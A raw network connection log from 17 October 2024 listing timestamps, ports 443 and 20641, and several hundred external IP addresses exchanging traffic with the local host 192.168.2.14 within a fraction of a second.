Oct 17, 2024 02:19:41.060942888 CEST	443	20641	212.60.66.16	192.168.2.14
Oct 17, 2024 02:19:41.060942888 CEST	443	20641	210.223.79.232	192.168.2.14
Oct 17, 2024 02:19:41.060950041 CEST	443	20641	2.145.78.129	192.168.2.14
Oct 17, 2024 02:19:41.060954094 CEST	443	20641	118.253.42.53	192.168.2.14
Oct 17, 2024 02:19:41.060959101 CEST	443	20641	212.201.183.181	192.168.2.14
Oct 17, 2024 02:19:41.060959101 CEST	20641	443	192.168.2.14	94.254.142.163
Oct 17, 2024 02:19:41.060959101 CEST	20641	443	192.168.2.14	148.199.235.17
Oct 17, 2024 02:19:41.060964108 CEST	443	20641	109.86.235.87	192.168.2.14
Oct 17, 2024 02:19:41.060966015 CEST	20641	443	192.168.2.14	212.14.178.114
Oct 17, 2024 02:19:41.060967922 CEST	443	20641	178.176.33.253	192.168.2.14
Oct 17, 2024 02:19:41.060969114 CEST	443	20641	148.199.235.17	192.168.2.14
Oct 17, 2024 02:19:41.060969114 CEST	20641	443	192.168.2.14	109.224.137.146
Oct 17, 2024 02:19:41.060971022 CEST	20641	443	192.168.2.14	94.143.132.188
Oct 17, 2024 02:19:41.060978889 CEST	443	20641	42.134.47.176	192.168.2.14
Oct 17, 2024 02:19:41.060982943 CEST	443	20641	109.224.137.146	192.168.2.14
Oct 17, 2024 02:19:41.060985088 CEST	20641	443	192.168.2.14	202.116.136.217
Oct 17, 2024 02:19:41.060985088 CEST	20641	443	192.168.2.14	210.223.79.232
Oct 17, 2024 02:19:41.060986042 CEST	20641	443	192.168.2.14	2.168.41.147
Oct 17, 2024 02:19:41.060986042 CEST	20641	443	192.168.2.14	37.151.27.138
Oct 17, 2024 02:19:41.060988903 CEST	443	20641	94.143.132.188	192.168.2.14
Oct 17, 2024 02:19:41.060991049 CEST	20641	443	192.168.2.14	2.145.78.129
Oct 17, 2024 02:19:41.060992002 CEST	443	20641	202.116.136.217	192.168.2.14
Oct 17, 2024 02:19:41.060993910 CEST	20641	443	192.168.2.14	210.29.71.196
Oct 17, 2024 02:19:41.060997009 CEST	20641	443	192.168.2.14	148.199.235.17
Oct 17, 2024 02:19:41.061001062 CEST	443	20641	210.29.71.196	192.168.2.14
Oct 17, 2024 02:19:41.061003923 CEST	20641	443	192.168.2.14	212.60.66.16
Oct 17, 2024 02:19:41.061007977 CEST	443	20641	2.168.41.147	192.168.2.14
Oct 17, 2024 02:19:41.061019897 CEST	443	20641	37.151.27.138	192.168.2.14
Oct 17, 2024 02:19:41.061022043 CEST	20641	443	192.168.2.14	178.176.33.253
Oct 17, 2024 02:19:41.061024904 CEST	20641	443	192.168.2.14	109.224.137.146
Oct 17, 2024 02:19:41.061024904 CEST	20641	443	192.168.2.14	118.253.42.53
Oct 17, 2024 02:19:41.061024904 CEST	20641	443	192.168.2.14	42.134.47.176
Oct 17, 2024 02:19:41.061024904 CEST	20641	443	192.168.2.14	109.86.235.87
Oct 17, 2024 02:19:41.061024904 CEST	20641	443	192.168.2.14	202.116.136.217
Oct 17, 2024 02:19:41.061033010 CEST	20641	443	192.168.2.14	212.201.183.181
Oct 17, 2024 02:19:41.061033010 CEST	20641	443	192.168.2.14	2.168.41.147
Oct 17, 2024 02:19:41.061034918 CEST	20641	443	192.168.2.14	210.29.71.196
Oct 17, 2024 02:19:41.061037064 CEST	20641	443	192.168.2.14	94.143.132.188
Oct 17, 2024 02:19:41.061037064 CEST	20641	443	192.168.2.14	109.246.143.78
Oct 17, 2024 02:19:41.061050892 CEST	20641	443	192.168.2.14	37.151.27.138
Oct 17, 2024 02:19:41.061055899 CEST	20641	443	192.168.2.14	117.17.243.187
Oct 17, 2024 02:19:41.061055899 CEST	20641	443	192.168.2.14	79.94.96.183
Oct 17, 2024 02:19:41.061055899 CEST	20641	443	192.168.2.14	94.41.69.223
Oct 17, 2024 02:19:41.061086893 CEST	20641	443	192.168.2.14	148.175.116.42
Oct 17, 2024 02:19:41.061093092 CEST	20641	443	192.168.2.14	123.198.136.253
Oct 17, 2024 02:19:41.061105967 CEST	20641	443	192.168.2.14	5.236.89.180
Oct 17, 2024 02:19:41.061108112 CEST	20641	443	192.168.2.14	148.51.201.173
Oct 17, 2024 02:19:41.061110020 CEST	20641	443	192.168.2.14	148.125.74.9
Oct 17, 2024 02:19:41.061113119 CEST	20641	443	192.168.2.14	123.131.254.51
Oct 17, 2024 02:19:41.061115026 CEST	20641	443	192.168.2.14	117.105.255.48
Oct 17, 2024 02:19:41.061135054 CEST	20641	443	192.168.2.14	212.70.233.127
Oct 17, 2024 02:19:41.061137915 CEST	20641	443	192.168.2.14	212.36.223.144
Oct 17, 2024 02:19:41.061141014 CEST	20641	443	192.168.2.14	94.181.111.207
Oct 17, 2024 02:19:41.061148882 CEST	20641	443	192.168.2.14	37.114.214.196
Oct 17, 2024 02:19:41.061148882 CEST	20641	443	192.168.2.14	178.195.214.98
Oct 17, 2024 02:19:41.061155081 CEST	20641	443	192.168.2.14	123.126.212.65
Oct 17, 2024 02:19:41.061166048 CEST	20641	443	192.168.2.14	94.32.247.57
Oct 17, 2024 02:19:41.061172962 CEST	20641	443	192.168.2.14	123.156.109.153
Oct 17, 2024 02:19:41.061172962 CEST	20641	443	192.168.2.14	2.91.202.13
Oct 17, 2024 02:19:41.061192989 CEST	20641	443	192.168.2.14	210.103.45.206
Oct 17, 2024 02:19:41.061197996 CEST	20641	443	192.168.2.14	42.55.183.240
Oct 17, 2024 02:19:41.061214924 CEST	20641	443	192.168.2.14	123.41.84.234
Oct 17, 2024 02:19:41.061216116 CEST	20641	443	192.168.2.14	5.174.235.137
Oct 17, 2024 02:19:41.061216116 CEST	20641	443	192.168.2.14	212.187.163.4
Oct 17, 2024 02:19:41.061227083 CEST	20641	443	192.168.2.14	212.194.125.13
Oct 17, 2024 02:19:41.061228037 CEST	20641	443	192.168.2.14	2.107.212.254
Oct 17, 2024 02:19:41.061239004 CEST	20641	443	192.168.2.14	210.75.143.83
Oct 17, 2024 02:19:41.061239004 CEST	20641	443	192.168.2.14	202.227.39.136
Oct 17, 2024 02:19:41.061243057 CEST	20641	443	192.168.2.14	109.174.8.9
Oct 17, 2024 02:19:41.061239958 CEST	20641	443	192.168.2.14	5.42.5.158
Oct 17, 2024 02:19:41.061258078 CEST	20641	443	192.168.2.14	212.153.30.11
Oct 17, 2024 02:19:41.061263084 CEST	20641	443	192.168.2.14	212.12.2.169
Oct 17, 2024 02:19:41.061275959 CEST	20641	443	192.168.2.14	42.150.245.29
Oct 17, 2024 02:19:41.061289072 CEST	20641	443	192.168.2.14	202.16.168.169
Oct 17, 2024 02:19:41.061292887 CEST	20641	443	192.168.2.14	42.110.174.99
Oct 17, 2024 02:19:41.061292887 CEST	20641	443	192.168.2.14	148.106.36.216
Oct 17, 2024 02:19:41.061292887 CEST	20641	443	192.168.2.14	210.158.254.146
Oct 17, 2024 02:19:41.061304092 CEST	20641	443	192.168.2.14	210.34.62.212
Oct 17, 2024 02:19:41.061304092 CEST	20641	443	192.168.2.14	123.67.137.180
Oct 17, 2024 02:19:41.061314106 CEST	20641	443	192.168.2.14	212.35.148.8
Oct 17, 2024 02:19:41.061321020 CEST	20641	443	192.168.2.14	37.15.194.157
Oct 17, 2024 02:19:41.061326027 CEST	20641	443	192.168.2.14	117.19.2.124
Oct 17, 2024 02:19:41.061326981 CEST	20641	443	192.168.2.14	37.244.58.241
Oct 17, 2024 02:19:41.061340094 CEST	20641	443	192.168.2.14	42.202.154.226
Oct 17, 2024 02:19:41.061346054 CEST	20641	443	192.168.2.14	109.218.183.66
Oct 17, 2024 02:19:41.061346054 CEST	20641	443	192.168.2.14	148.20.225.18
Oct 17, 2024 02:19:41.061353922 CEST	20641	443	192.168.2.14	42.48.107.16
Oct 17, 2024 02:19:41.061357975 CEST	20641	443	192.168.2.14	123.116.209.229
Oct 17, 2024 02:19:41.061369896 CEST	20641	443	192.168.2.14	123.37.197.194
Oct 17, 2024 02:19:41.061378002 CEST	20641	443	192.168.2.14	5.143.104.26
Oct 17, 2024 02:19:41.061378002 CEST	20641	443	192.168.2.14	148.82.137.14
Oct 17, 2024 02:19:41.061378002 CEST	20641	443	192.168.2.14	123.79.102.179
Oct 17, 2024 02:19:41.061393023 CEST	20641	443	192.168.2.14	94.140.221.82
Oct 17, 2024 02:19:41.061398983 CEST	20641	443	192.168.2.14	210.140.246.191
Oct 17, 2024 02:19:41.061415911 CEST	20641	443	192.168.2.14	2.179.140.234
Oct 17, 2024 02:19:41.061419010 CEST	20641	443	192.168.2.14	178.2.89.52
Oct 17, 2024 02:19:41.061419010 CEST	20641	443	192.168.2.14	5.242.13.52
Oct 17, 2024 02:19:41.061433077 CEST	20641	443	192.168.2.14	2.135.46.111
Oct 17, 2024 02:19:41.061439991 CEST	20641	443	192.168.2.14	37.26.78.47
Oct 17, 2024 02:19:41.061440945 CEST	20641	443	192.168.2.14	5.177.166.116
Oct 17, 2024 02:19:41.061448097 CEST	20641	443	192.168.2.14	123.165.43.93
Oct 17, 2024 02:19:41.061450005 CEST	20641	443	192.168.2.14	118.78.167.13
Oct 17, 2024 02:19:41.061455011 CEST	20641	443	192.168.2.14	202.74.242.33
Oct 17, 2024 02:19:41.061455965 CEST	20641	443	192.168.2.14	148.172.212.15
Oct 17, 2024 02:19:41.061460972 CEST	20641	443	192.168.2.14	42.95.197.51
Oct 17, 2024 02:19:41.061472893 CEST	20641	443	192.168.2.14	202.28.33.29
Oct 17, 2024 02:19:41.061482906 CEST	20641	443	192.168.2.14	5.245.188.37
Oct 17, 2024 02:19:41.061484098 CEST	20641	443	192.168.2.14	118.245.202.76
Oct 17, 2024 02:19:41.061495066 CEST	20641	443	192.168.2.14	94.223.58.76
Oct 17, 2024 02:19:41.061501026 CEST	20641	443	192.168.2.14	212.128.172.254
Oct 17, 2024 02:19:41.061502934 CEST	20641	443	192.168.2.14	178.65.14.176
Oct 17, 2024 02:19:41.061520100 CEST	20641	443	192.168.2.14	123.153.124.3
Oct 17, 2024 02:19:41.061526060 CEST	20641	443	192.168.2.14	37.185.250.70
Oct 17, 2024 02:19:41.061526060 CEST	20641	443	192.168.2.14	79.40.134.207
Oct 17, 2024 02:19:41.061542034 CEST	20641	443	192.168.2.14	42.240.217.39
Oct 17, 2024 02:19:41.061546087 CEST	20641	443	192.168.2.14	123.106.209.121
Oct 17, 2024 02:19:41.061546087 CEST	20641	443	192.168.2.14	117.114.248.40
Oct 17, 2024 02:19:41.061546087 CEST	20641	443	192.168.2.14	109.77.114.84
Oct 17, 2024 02:19:41.061548948 CEST	20641	443	192.168.2.14	178.151.148.70
Oct 17, 2024 02:19:41.061559916 CEST	20641	443	192.168.2.14	109.189.55.53
Oct 17, 2024 02:19:41.061569929 CEST	20641	443	192.168.2.14	109.195.57.200
Oct 17, 2024 02:19:41.061575890 CEST	20641	443	192.168.2.14	148.167.200.193
Oct 17, 2024 02:19:41.061578989 CEST	20641	443	192.168.2.14	148.92.39.113
Oct 17, 2024 02:19:41.061594009 CEST	20641	443	192.168.2.14	202.241.224.108
Oct 17, 2024 02:19:41.061595917 CEST	20641	443	192.168.2.14	94.107.95.115
Oct 17, 2024 02:19:41.061595917 CEST	20641	443	192.168.2.14	210.216.102.80
Oct 17, 2024 02:19:41.061599970 CEST	20641	443	192.168.2.14	212.128.120.73
Oct 17, 2024 02:19:41.061615944 CEST	20641	443	192.168.2.14	212.144.184.225
Oct 17, 2024 02:19:41.061621904 CEST	20641	443	192.168.2.14	42.150.76.238
Oct 17, 2024 02:19:41.061621904 CEST	20641	443	192.168.2.14	202.47.56.170
Oct 17, 2024 02:19:41.061634064 CEST	20641	443	192.168.2.14	123.248.216.138
Oct 17, 2024 02:19:41.061635971 CEST	20641	443	192.168.2.14	118.100.191.129
Oct 17, 2024 02:19:41.061639071 CEST	20641	443	192.168.2.14	123.73.1.127
Oct 17, 2024 02:19:41.061652899 CEST	20641	443	192.168.2.14	37.80.211.139
Oct 17, 2024 02:19:41.061662912 CEST	20641	443	192.168.2.14	178.245.181.247
Oct 17, 2024 02:19:41.061666965 CEST	20641	443	192.168.2.14	148.156.21.75
Oct 17, 2024 02:19:41.061671972 CEST	20641	443	192.168.2.14	79.74.145.119
Oct 17, 2024 02:19:41.061671972 CEST	20641	443	192.168.2.14	94.170.224.82
Oct 17, 2024 02:19:41.061676025 CEST	20641	443	192.168.2.14	202.132.79.104
Oct 17, 2024 02:19:41.061676025 CEST	20641	443	192.168.2.14	178.133.233.15
Oct 17, 2024 02:19:41.061697006 CEST	20641	443	192.168.2.14	210.105.139.107
Oct 17, 2024 02:19:41.061698914 CEST	20641	443	192.168.2.14	94.193.154.211
Oct 17, 2024 02:19:41.061703920 CEST	20641	443	192.168.2.14	148.211.129.181
Oct 17, 2024 02:19:41.061703920 CEST	20641	443	192.168.2.14	37.133.9.47
Oct 17, 2024 02:19:41.061712027 CEST	20641	443	192.168.2.14	212.25.239.18
Oct 17, 2024 02:19:41.061717033 CEST	20641	443	192.168.2.14	109.204.169.78
Oct 17, 2024 02:19:41.061729908 CEST	20641	443	192.168.2.14	178.134.36.99
Oct 17, 2024 02:19:41.061732054 CEST	20641	443	192.168.2.14	5.253.136.229
Oct 17, 2024 02:19:41.061744928 CEST	20641	443	192.168.2.14	2.70.166.160
Oct 17, 2024 02:19:41.061748028 CEST	20641	443	192.168.2.14	210.161.149.70
Oct 17, 2024 02:19:41.061748028 CEST	20641	443	192.168.2.14	212.161.217.10
Oct 17, 2024 02:19:41.061748028 CEST	20641	443	192.168.2.14	123.252.55.107
Oct 17, 2024 02:19:41.061764002 CEST	20641	443	192.168.2.14	178.181.6.255
Oct 17, 2024 02:19:41.061767101 CEST	20641	443	192.168.2.14	123.249.245.24
Oct 17, 2024 02:19:41.061769009 CEST	20641	443	192.168.2.14	117.162.190.81
Oct 17, 2024 02:19:41.061779976 CEST	20641	443	192.168.2.14	123.94.150.226
Oct 17, 2024 02:19:41.061788082 CEST	20641	443	192.168.2.14	5.238.198.30
Oct 17, 2024 02:19:41.061788082 CEST	20641	443	192.168.2.14	123.35.253.249
Oct 17, 2024 02:19:41.061793089 CEST	20641	443	192.168.2.14	109.31.82.47
Oct 17, 2024 02:19:41.061801910 CEST	20641	443	192.168.2.14	42.179.243.233
Oct 17, 2024 02:19:41.061801910 CEST	20641	443	192.168.2.14	5.248.143.21
Oct 17, 2024 02:19:41.061805964 CEST	20641	443	192.168.2.14	117.22.4.252
Oct 17, 2024 02:19:41.061810017 CEST	20641	443	192.168.2.14	210.101.187.76
Oct 17, 2024 02:19:41.061821938 CEST	20641	443	192.168.2.14	79.79.35.253
Oct 17, 2024 02:19:41.061821938 CEST	20641	443	192.168.2.14	37.2.88.186
Oct 17, 2024 02:19:41.061831951 CEST	20641	443	192.168.2.14	178.21.88.60
Oct 17, 2024 02:19:41.061831951 CEST	20641	443	192.168.2.14	2.28.114.133
Oct 17, 2024 02:19:41.061852932 CEST	20641	443	192.168.2.14	2.121.240.170
Oct 17, 2024 02:19:41.061852932 CEST	20641	443	192.168.2.14	202.33.236.221
Oct 17, 2024 02:19:41.061857939 CEST	20641	443	192.168.2.14	178.227.26.197
Oct 17, 2024 02:19:41.061858892 CEST	20641	443	192.168.2.14	79.193.133.125
Oct 17, 2024 02:19:41.061883926 CEST	20641	443	192.168.2.14	212.94.87.89
Oct 17, 2024 02:19:41.061883926 CEST	20641	443	192.168.2.14	210.229.88.237
Oct 17, 2024 02:19:41.061886072 CEST	20641	443	192.168.2.14	123.190.246.146
Oct 17, 2024 02:19:41.061901093 CEST	20641	443	192.168.2.14	117.206.131.46
Oct 17, 2024 02:19:41.061901093 CEST	20641	443	192.168.2.14	123.151.184.231
Oct 17, 2024 02:19:41.061918974 CEST	20641	443	192.168.2.14	2.29.183.30
Oct 17, 2024 02:19:41.061918974 CEST	20641	443	192.168.2.14	212.249.249.61
Oct 17, 2024 02:19:41.061918974 CEST	20641	443	192.168.2.14	210.226.147.37
Oct 17, 2024 02:19:41.061923981 CEST	20641	443	192.168.2.14	117.157.45.9
Oct 17, 2024 02:19:41.061947107 CEST	20641	443	192.168.2.14	79.27.171.65
Oct 17, 2024 02:19:41.061948061 CEST	20641	443	192.168.2.14	123.175.184.128
Oct 17, 2024 02:19:41.061948061 CEST	20641	443	192.168.2.14	37.182.162.128
Oct 17, 2024 02:19:41.061956882 CEST	20641	443	192.168.2.14	118.172.196.204
Oct 17, 2024 02:19:41.061973095 CEST	20641	443	192.168.2.14	109.75.196.189
Oct 17, 2024 02:19:41.061975956 CEST	20641	443	192.168.2.14	118.104.87.253
Oct 17, 2024 02:19:41.061980009 CEST	20641	443	192.168.2.14	202.2.153.3
Oct 17, 2024 02:19:41.061988115 CEST	20641	443	192.168.2.14	5.219.59.175
Oct 17, 2024 02:19:41.061989069 CEST	20641	443	192.168.2.14	178.221.153.116
Oct 17, 2024 02:19:41.062002897 CEST	20641	443	192.168.2.14	109.229.17.235
Oct 17, 2024 02:19:41.062011957 CEST	20641	443	192.168.2.14	79.33.235.13
Oct 17, 2024 02:19:41.062028885 CEST	20641	443	192.168.2.14	37.147.5.242
Oct 17, 2024 02:19:41.062031031 CEST	20641	443	192.168.2.14	202.65.130.122
Oct 17, 2024 02:19:41.062028885 CEST	20641	443	192.168.2.14	94.112.158.154
Oct 17, 2024 02:19:41.062030077 CEST	20641	443	192.168.2.14	212.252.184.4
Oct 17, 2024 02:19:41.062033892 CEST	20641	443	192.168.2.14	109.89.183.132
Oct 17, 2024 02:19:41.062048912 CEST	20641	443	192.168.2.14	210.233.151.127
Oct 17, 2024 02:19:41.062051058 CEST	20641	443	192.168.2.14	109.237.18.59
Oct 17, 2024 02:19:41.062052965 CEST	20641	443	192.168.2.14	117.40.108.171
Oct 17, 2024 02:19:41.062072039 CEST	20641	443	192.168.2.14	212.115.91.228
Oct 17, 2024 02:19:41.062072992 CEST	20641	443	192.168.2.14	2.16.8.234
Oct 17, 2024 02:19:41.062079906 CEST	20641	443	192.168.2.14	79.88.177.225
Oct 17, 2024 02:19:41.062096119 CEST	20641	443	192.168.2.14	37.249.87.2
Oct 17, 2024 02:19:41.062096119 CEST	20641	443	192.168.2.14	117.140.216.143
Oct 17, 2024 02:19:41.062098980 CEST	20641	443	192.168.2.14	94.105.230.166
Oct 17, 2024 02:19:41.062098980 CEST	20641	443	192.168.2.14	2.68.124.36
Oct 17, 2024 02:19:41.062100887 CEST	20641	443	192.168.2.14	123.182.93.111
Oct 17, 2024 02:19:41.062102079 CEST	20641	443	192.168.2.14	42.20.63.61
Oct 17, 2024 02:19:41.062103033 CEST	20641	443	192.168.2.14	5.2.118.36
Oct 17, 2024 02:19:41.062103987 CEST	20641	443	192.168.2.14	2.1.173.92
Oct 17, 2024 02:19:41.062103033 CEST	20641	443	192.168.2.14	5.24.4.84
Oct 17, 2024 02:19:41.062103987 CEST	20641	443	192.168.2.14	178.195.156.220
Oct 17, 2024 02:19:41.062103987 CEST	20641	443	192.168.2.14	37.84.144.114
Oct 17, 2024 02:19:41.062138081 CEST	20641	443	192.168.2.14	118.70.69.158
Oct 17, 2024 02:19:41.062133074 CEST	20641	443	192.168.2.14	202.197.5.100
Oct 17, 2024 02:19:41.062148094 CEST	20641	443	192.168.2.14	2.249.35.255
Oct 17, 2024 02:19:41.062133074 CEST	20641	443	192.168.2.14	117.166.55.117
Oct 17, 2024 02:19:41.062165976 CEST	20641	443	192.168.2.14	117.91.72.182
Oct 17, 2024 02:19:41.062165976 CEST	20641	443	192.168.2.14	2.21.7.117
Oct 17, 2024 02:19:41.062166929 CEST	20641	443	192.168.2.14	118.6.158.164
Oct 17, 2024 02:19:41.062174082 CEST	20641	443	192.168.2.14	202.165.7.240
Oct 17, 2024 02:19:41.062180042 CEST	20641	443	192.168.2.14	79.101.42.45
Oct 17, 2024 02:19:41.062182903 CEST	20641	443	192.168.2.14	117.154.84.224
Oct 17, 2024 02:19:41.062182903 CEST	20641	443	192.168.2.14	5.156.19.39
Oct 17, 2024 02:19:41.062199116 CEST	20641	443	192.168.2.14	5.18.87.130
Oct 17, 2024 02:19:41.062199116 CEST	20641	443	192.168.2.14	37.174.159.15
Oct 17, 2024 02:19:41.062199116 CEST	20641	443	192.168.2.14	148.48.169.110
Oct 17, 2024 02:19:41.062211037 CEST	20641	443	192.168.2.14	109.235.81.133
Oct 17, 2024 02:19:41.062212944 CEST	20641	443	192.168.2.14	178.248.196.66
Oct 17, 2024 02:19:41.062212944 CEST	20641	443	192.168.2.14	123.196.123.116
Oct 17, 2024 02:19:41.062227964 CEST	20641	443	192.168.2.14	5.38.14.56
Oct 17, 2024 02:19:41.062231064 CEST	20641	443	192.168.2.14	42.190.49.5
Oct 17, 2024 02:19:41.062231064 CEST	20641	443	192.168.2.14	2.42.0.123
Oct 17, 2024 02:19:41.062238932 CEST	20641	443	192.168.2.14	210.225.70.73
Oct 17, 2024 02:19:41.062252045 CEST	20641	443	192.168.2.14	123.36.51.182
Oct 17, 2024 02:19:41.062263012 CEST	20641	443	192.168.2.14	94.232.133.68
Oct 17, 2024 02:19:41.062263012 CEST	20641	443	192.168.2.14	118.132.149.145
Oct 17, 2024 02:19:41.062273026 CEST	20641	443	192.168.2.14	42.109.133.88
Oct 17, 2024 02:19:41.062290907 CEST	20641	443	192.168.2.14	210.237.27.116
Oct 17, 2024 02:19:41.062292099 CEST	20641	443	192.168.2.14	123.95.215.5
Oct 17, 2024 02:19:41.062297106 CEST	20641	443	192.168.2.14	210.3.36.89
Oct 17, 2024 02:19:41.062297106 CEST	20641	443	192.168.2.14	123.143.139.124
Oct 17, 2024 02:19:41.062310934 CEST	20641	443	192.168.2.14	109.35.86.170
Oct 17, 2024 02:19:41.062311888 CEST	20641	443	192.168.2.14	212.254.231.200
Oct 17, 2024 02:19:41.062311888 CEST	20641	443	192.168.2.14	37.171.79.148
Oct 17, 2024 02:19:41.062311888 CEST	20641	443	192.168.2.14	148.52.174.5
Oct 17, 2024 02:19:41.062315941 CEST	20641	443	192.168.2.14	123.90.172.214
Oct 17, 2024 02:19:41.062329054 CEST	20641	443	192.168.2.14	148.114.70.100
Oct 17, 2024 02:19:41.062329054 CEST	20641	443	192.168.2.14	94.34.199.225
Oct 17, 2024 02:19:41.062346935 CEST	20641	443	192.168.2.14	42.81.221.227
Oct 17, 2024 02:19:41.062346935 CEST	20641	443	192.168.2.14	109.136.162.13
Oct 17, 2024 02:19:41.062349081 CEST	20641	443	192.168.2.14	118.43.2.54
Oct 17, 2024 02:19:41.062349081 CEST	20641	443	192.168.2.14	202.199.161.233
Oct 17, 2024 02:19:41.062365055 CEST	20641	443	192.168.2.14	2.157.120.157
Oct 17, 2024 02:19:41.062367916 CEST	20641	443	192.168.2.14	123.29.52.229
Oct 17, 2024 02:19:41.062372923 CEST	20641	443	192.168.2.14	5.236.186.222
Oct 17, 2024 02:19:41.062374115 CEST	20641	443	192.168.2.14	5.106.84.244
Oct 17, 2024 02:19:41.062375069 CEST	20641	443	192.168.2.14	212.109.235.35
Oct 17, 2024 02:19:41.062387943 CEST	20641	443	192.168.2.14	2.10.142.254
Oct 17, 2024 02:19:41.062392950 CEST	20641	443	192.168.2.14	79.162.114.97
Oct 17, 2024 02:19:41.062400103 CEST	20641	443	192.168.2.14	94.52.241.231
Oct 17, 2024 02:19:41.062407970 CEST	20641	443	192.168.2.14	202.185.7.91
Oct 17, 2024 02:19:41.062422037 CEST	20641	443	192.168.2.14	42.97.104.24
Oct 17, 2024 02:19:41.062422991 CEST	20641	443	192.168.2.14	79.6.86.80
Oct 17, 2024 02:19:41.062433958 CEST	20641	443	192.168.2.14	212.210.218.130
Oct 17, 2024 02:19:41.062439919 CEST	20641	443	192.168.2.14	212.230.213.134
Oct 17, 2024 02:19:41.062475920 CEST	20641	443	192.168.2.14	42.11.233.123
Oct 17, 2024 02:19:41.062475920 CEST	20641	443	192.168.2.14	117.29.67.239
Oct 17, 2024 02:19:41.062475920 CEST	20641	443	192.168.2.14	210.171.11.135
Oct 17, 2024 02:19:41.062490940 CEST	20641	443	192.168.2.14	42.171.200.9
Oct 17, 2024 02:19:41.062490940 CEST	20641	443	192.168.2.14	118.209.8.10
Oct 17, 2024 02:19:41.062490940 CEST	20641	443	192.168.2.14	2.19.142.86
Oct 17, 2024 02:19:41.062491894 CEST	20641	443	192.168.2.14	123.13.232.21
Oct 17, 2024 02:19:41.062496901 CEST	20641	443	192.168.2.14	148.39.236.30
Oct 17, 2024 02:19:41.062496901 CEST	20641	443	192.168.2.14	148.203.214.90
Oct 17, 2024 02:19:41.062500954 CEST	20641	443	192.168.2.14	42.40.14.124
Oct 17, 2024 02:19:41.062496901 CEST	20641	443	192.168.2.14	109.119.59.245
Oct 17, 2024 02:19:41.062496901 CEST	20641	443	192.168.2.14	178.73.44.211
Oct 17, 2024 02:19:41.062511921 CEST	20641	443	192.168.2.14	202.12.136.13
Oct 17, 2024 02:19:41.062515020 CEST	20641	443	192.168.2.14	212.8.173.76
Oct 17, 2024 02:19:41.062525034 CEST	20641	443	192.168.2.14	148.214.122.249
Oct 17, 2024 02:19:41.062525034 CEST	20641	443	192.168.2.14	210.227.48.97
Oct 17, 2024 02:19:41.062529087 CEST	20641	443	192.168.2.14	37.179.165.45
Oct 17, 2024 02:19:41.062530041 CEST	20641	443	192.168.2.14	178.194.134.182
Oct 17, 2024 02:19:41.062530041 CEST	20641	443	192.168.2.14	2.127.189.245
Oct 17, 2024 02:19:41.062530041 CEST	20641	443	192.168.2.14	123.115.255.64
Oct 17, 2024 02:19:41.062530041 CEST	20641	443	192.168.2.14	148.170.228.3
Oct 17, 2024 02:19:41.062530994 CEST	20641	443	192.168.2.14	5.175.236.12
Oct 17, 2024 02:19:41.062530041 CEST	20641	443	192.168.2.14	79.74.38.22
Oct 17, 2024 02:19:41.062530041 CEST	20641	443	192.168.2.14	2.49.106.109
Oct 17, 2024 02:19:41.062540054 CEST	20641	443	192.168.2.14	123.39.4.132
Oct 17, 2024 02:19:41.062541008 CEST	20641	443	192.168.2.14	79.131.128.85
Oct 17, 2024 02:19:41.062542915 CEST	20641	443	192.168.2.14	212.168.206.15
Oct 17, 2024 02:19:41.062545061 CEST	20641	443	192.168.2.14	117.95.161.236
Oct 17, 2024 02:19:41.062546015 CEST	20641	443	192.168.2.14	202.234.190.144
Oct 17, 2024 02:19:41.062546015 CEST	20641	443	192.168.2.14	117.101.222.200
Oct 17, 2024 02:19:41.062546015 CEST	20641	443	192.168.2.14	79.70.110.161
Oct 17, 2024 02:19:41.062546015 CEST	20641	443	192.168.2.14	118.98.177.229
Oct 17, 2024 02:19:41.062551022 CEST	20641	443	192.168.2.14	123.81.121.21
Oct 17, 2024 02:19:41.062551022 CEST	20641	443	192.168.2.14	202.200.37.243
Oct 17, 2024 02:19:41.062551022 CEST	20641	443	192.168.2.14	202.76.70.33
Oct 17, 2024 02:19:41.062551022 CEST	20641	443	192.168.2.14	5.130.106.134
Oct 17, 2024 02:19:41.062577009 CEST	20641	443	192.168.2.14	79.55.62.7
Oct 17, 2024 02:19:41.062597036 CEST	20641	443	192.168.2.14	202.192.196.22
Oct 17, 2024 02:19:41.062597036 CEST	20641	443	192.168.2.14	123.118.188.236
Oct 17, 2024 02:19:41.062597036 CEST	20641	443	192.168.2.14	178.101.124.167
Oct 17, 2024 02:19:41.062597990 CEST	20641	443	192.168.2.14	109.20.184.14
Oct 17, 2024 02:19:41.062601089 CEST	20641	443	192.168.2.14	37.147.32.10
Oct 17, 2024 02:19:41.062597036 CEST	20641	443	192.168.2.14	109.60.253.254
Oct 17, 2024 02:19:41.062597990 CEST	20641	443	192.168.2.14	42.150.188.134
Oct 17, 2024 02:19:41.062601089 CEST	20641	443	192.168.2.14	210.5.77.143
Oct 17, 2024 02:19:41.062598944 CEST	20641	443	192.168.2.14	178.233.67.87
Oct 17, 2024 02:19:41.062597990 CEST	20641	443	192.168.2.14	202.47.187.60
Oct 17, 2024 02:19:41.062602043 CEST	20641	443	192.168.2.14	79.217.98.19
Oct 17, 2024 02:19:41.062597990 CEST	20641	443	192.168.2.14	178.127.1.187
Oct 17, 2024 02:19:41.062598944 CEST	20641	443	192.168.2.14	42.91.157.68
Oct 17, 2024 02:19:41.062604904 CEST	20641	443	192.168.2.14	178.164.140.253
Oct 17, 2024 02:19:41.062601089 CEST	20641	443	192.168.2.14	123.146.173.217
Oct 17, 2024 02:19:41.062601089 CEST	20641	443	192.168.2.14	94.53.119.77
Oct 17, 2024 02:19:41.062618971 CEST	20641	443	192.168.2.14	5.8.99.187
Oct 17, 2024 02:19:41.062618971 CEST	20641	443	192.168.2.14	5.163.186.42
Oct 17, 2024 02:19:41.062619925 CEST	20641	443	192.168.2.14	148.10.54.225
Oct 17, 2024 02:19:41.062618971 CEST	20641	443	192.168.2.14	123.222.212.244
Oct 17, 2024 02:19:41.062618971 CEST	20641	443	192.168.2.14	118.127.142.117
Oct 17, 2024 02:19:41.062643051 CEST	20641	443	192.168.2.14	210.17.231.208
Oct 17, 2024 02:19:41.062647104 CEST	20641	443	192.168.2.14	202.157.101.238
Oct 17, 2024 02:19:41.062647104 CEST	20641	443	192.168.2.14	148.223.97.142
Oct 17, 2024 02:19:41.062652111 CEST	20641	443	192.168.2.14	5.82.12.223
Oct 17, 2024 02:19:41.062653065 CEST	20641	443	192.168.2.14	118.236.148.71
Oct 17, 2024 02:19:41.062665939 CEST	20641	443	192.168.2.14	117.5.136.67
Oct 17, 2024 02:19:41.062665939 CEST	20641	443	192.168.2.14	94.152.171.231
Oct 17, 2024 02:19:41.062665939 CEST	20641	443	192.168.2.14	212.52.146.94
Oct 17, 2024 02:19:41.062665939 CEST	20641	443	192.168.2.14	178.170.141.123
